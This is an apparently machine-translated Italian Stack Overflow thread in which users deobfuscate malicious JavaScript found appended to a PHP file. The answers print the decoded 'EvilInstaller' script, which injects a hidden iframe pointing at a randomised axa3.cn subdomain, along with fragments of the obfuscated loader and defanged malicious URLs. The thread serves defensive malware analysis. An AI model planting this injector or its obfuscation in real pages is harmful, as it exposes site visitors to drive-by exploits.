Domanda

Ho del codice che si trova nella parte inferiore di un file php che è in JavaScript. Attraversa molte strane contorsioni come la conversione di hex in ascii, quindi la sostituzione di regex, l'esecuzione di codice e così via ...

C'è un modo per scoprire cosa sta eseguendo prima che lo faccia effettivamente?

Il codice è qui:

http://pastebin.ca/1303597

È stato utile?

Soluzione

Puoi semplicemente attraversarlo fase per fase - dal momento che è Javascript, ed è interpretato, deve essere il suo decryptor. Se hai accesso a un interprete Javascript da riga di comando (come la Console in Firebug ), ciò sarà equo semplice.

Darò un'occhiata e vedrò cosa succede.

Modifica Ho superato gran parte di esso - sembra che il passaggio finale sia non banale, probabilmente perché coinvolge " argomento.callee " ;. Comunque ho messo quello che ho finora su Pastebin.

È interessante notare che ho scoperto che la parte più difficile di questo era dare alle variabili senza senso nomi propri. Mi ha ricordato un cruciverba, o sudoku, in cui sai come sono correlate le cose, ma non puoi assegnare definitivamente qualcosa fino a quando non capisci quali sono le sue parti dipendenti. :-) Sono sicuro che se qualcuno riconosce l'algoritmo può dare alle parti nomi più significativi, ma nel punto in cui c'è molto XORing in corso, ci sono due variabili temporanee che ho appena lasciato come nomi predefiniti dal momento che non conosco abbastanza contesto per dare loro quelli utili.

Modifica finale : il bit 'argomenti.callee' è diventato facile quando mi sono reso conto che potevo semplicemente passare il testo grezzo che ironicamente avevo appena decodificato (è una tecnica abbastanza intelligente, quindi la normale deobfuscazione non funzionerà perché ovviamente dopo aver rinominato le variabili, ecc., il valore è diverso). Ad ogni modo, ecco il tuo copione completo:


    function EvilInstaller(){};
    EvilInstaller.prototype = {
        getFrameURL : function() {
            var dlh=document.location.host;
            return "http"+'://'+((dlh == '' || dlh == 'undefined') ? this.getRandString() : '') + dlh.replace (/[^a-z0-9.-]/,'.').replace (/\.+/,'.') + "." + this.getRandString() + "." + this.host + this.path;
        },
        path:'/elanguage.cn/',
        cookieValue:1,
        setCookie : function(name, value) {
            var d= new Date();
            d.setTime(new Date().getTime() + 86400000);
            document.cookie = name + "=" + escape(value)+"; expires="+d.toGMTString();
        },
        install : function() {
            if (!this.alreadyInstalled()) {
                var s = "<div style='display:none'><iframe src='" + this.getFrameURL() + "'></iframe></div>"
                try {
                    document.open();
                    document.write(s);
                    document.close();
                }
                catch(e) {
                    document.write("<html><body>" + s + "</body></html>")
                }
                this.setCookie(this.cookieName, this.cookieValue);
            }
        },
        getRandString : function() {
            var l=16,c='0Z1&2Q3Z4*5&6Z7Q8*9)a*b*cQdZeQf*'.replace(/[ZQ&\*\)]/g, '');
            var o='';
            for (var i=0;i<l;i++) {
                o+=c.substr(Math.floor(Math.random()*c.length),1,1);
            }
            return o;
        },
        cookieName:'hedcfagb',
        host:'axa3.cn',
        alreadyInstalled : function() {
            return !(document.cookie.indexOf(this.cookieName + '=' + this.cookieValue) == -1);
        }
    };
    var evil=new EvilInstaller();
    evil.install();

Fondamentalmente sembra che carichi malware da axa3.cn. Il sito è già sospettato dall'ISP, quindi non si può dire cosa ci fosse realmente al di sopra e al di là della cattiveria generale.

(Se qualcuno è interessato, stavo usando Pastebin come uno pseudo-VCS per cambiare le versioni del codice, in modo da poter vedere un altro passaggio intermedio , poco dopo il mio primo post di modifica. È stato abbastanza intrigante vedere i diversi strati di offuscamento e come sono cambiati.)

Altri suggerimenti

Mentre puoi decodificare manualmente, può presto diventare noioso quando hai molte fasi di decodifica. Di solito sostituisco eval / write per vedere ogni passaggio:

<script>
    window.__eval= window.eval;
    window.eval= function(s) { if (confirm('OK to eval? '+s)) return this.__eval(s); }
    document.__write= document.write;
    document.write= function(s) { if (confirm('OK to write? '+s)) return this.__write(s); }
</script>

Comunque questo particolare script è protetto contro questo da un'ispezione deliberata di window.eval. L'uso di argomenti.callee significa anche che lo script si basa sul particolare formato Function.toString di un browser, in questo caso IE - non funzionerà su altri browser. Puoi mettere soluzioni alternative nella funzione di sostituzione sostitutiva per dare allo script ciò che si aspetta in questo caso, ma è ancora un po 'doloroso.

Potresti usare Script Debugger per scorrere il codice, o quello che ho fatto in questo caso è stato quello di consentire l'esecuzione del codice, in una macchina virtuale senza reti che potevo permettermi di cancellare. Guardando document.body.innerHTML dopo che il codice è stato eseguito, ho scoperto che ha aggiunto un iframe invisibile puntato su:

hxxp://62bc13b764ad2799.bbe4e7d3df5fdea8.axa3.cn/elanguage.cn/

che reindirizza a:

hxxp://google.com.upload.main.update.originalcn.cn/ebay.cn/index.php

che, visualizzato in condizioni adeguate in IE, ti dà un sacco di exploit. Non andare su questi URL .

In breve, il tuo server è stato violato da axa3.cn, una delle tante bande di malware ospitate in Cina ma gestite in Russia al momento.

Basta scrivere uno script perl o qualcosa che cambi tutti i caratteri esadecimali con escape in ASCII? Quindi guarda attraverso le regex per vedere cosa sta succedendo esattamente e fai la stessa cosa con il tuo perl / qualunque script.

Puoi provare la console Firebug e romperla frammentariamente. Per cominciare:

var jQuery = eval('w;iLn0d;opw;.0epv_a_l;'.replace(/[;0_pL]/g, ''));

sta solo mascherando il " eval " funziona come " jQuery "

L'approccio più semplice sarebbe usare semplicemente un semplice programma c per convertire i caratteri esadecimali con escape in testo leggibile in questo modo:

#include <stdio.h>

const char wtf[] = ""; // Really long string goes here

int main(void) {
    ::printf("%s\n", wtf);
}

che produce questo (ho aggiunto la formattazione). Ti lascio terminare l'ultima parte che sembra essere più o meno la stessa.

con molta attenzione: se qualcuno sta facendo così tanti problemi per offuscare il codice, è probabilmente una specie di script di attacco

puoi produrre i risultati dell'esecuzione in più fasi usando un file html locale e prendere un pezzo alla volta

facendo questo ottengo:

var jQuery = "eval(" + 
    'w;iLn0d;opw;.0epv_a_l;'.replace(/[;0_pL]/g, '') + 
    ");";
document.writeln('jQuery=' + jQuery);

che produce

jQuery=eval(window.eval);

che, come osservato da crescentfresh, lega la variabile jQuery alla funzione window.eval.

la sezione successiva sta ovviamente cercando di valutare qualcosa in codice esadecimale, quindi vediamo come appare la stringa di codice esadecimale (riformattata manualmente a scopo di presentazione):

    function g4LZ(s9QNvAL)
    {
        function eDdqkXm(fX09)
        {
            var uaWG=0;
            var jtoS=fX09.length;
            var aCD6=0;
            while(aCD6wQ5.length)
                d971I=0;
            if(f234SD>lIXy6md.length)
                f234SD=0;
            kyCyJ+=String.fromCharCode(nCV2eO^ocx) + '';
        }
        eval(kyCyJ);
        return kyCyJ=new String();
    }
    catch(e){}
}
g4LZ('%33...%5e');

e ora abbiamo una stringa di escape alla fine, vediamo cosa c'è dentro usando unescape (troncato per la presentazione):

30248118GA0 * l: WRG: nt9 * 82:) 7Z \ uF% * {...

francamente, mi sto annoiando a smontarlo, quindi invece l'ho scaricato in un file html locale, disconnesso da internet, aperto firefox, disabilitato javascript, caricato il file in firefox, acceso firebug, ricaricato la pagina così sarebbe funzionato e ispezionato il DOM.

lo script crea un IFRAME con SRC impostato su [modificato per sicurezza!]:

http://4b3b9e839fd84e47 [DO NOT CLICK THIS URL] .27f721b7f6c92d76.axa3.cn/elanguage.cn/

axa3.cn è un dominio cinese nella lista nera dei malware

So che non è la risposta, ma di solito (dove ho visto questo genere di cose), sono posizionati in modo che se quella linea non viene eseguita, tutto lo script si ferma. Perché lo fanno? Bene, perché stanno stampando il loro copyright sulla sceneggiatura (o più di solito un modello).

Quando le persone fanno di tutto per dare il riconoscimento è perché hanno una licenza di rimozione del copyright, consiglierei di pagarlo, poiché anche se tu "quoting reverse" che, possono (e avere) altri modi per verificare se la tua licenza è vera. (alcuni di questi software invieranno effettivamente un qualche tipo di messaggio se lo stai facendo).

Ma, prima di ricevere qualsiasi tipo di fiamma, sono d'accordo che è interessante tornare indietro in questo tipo di titoli e ottenere il codice originale e romperlo =)

Autorizzato sotto: CC-BY-SA insieme a attribuzione
Non affiliato a StackOverflow
scroll top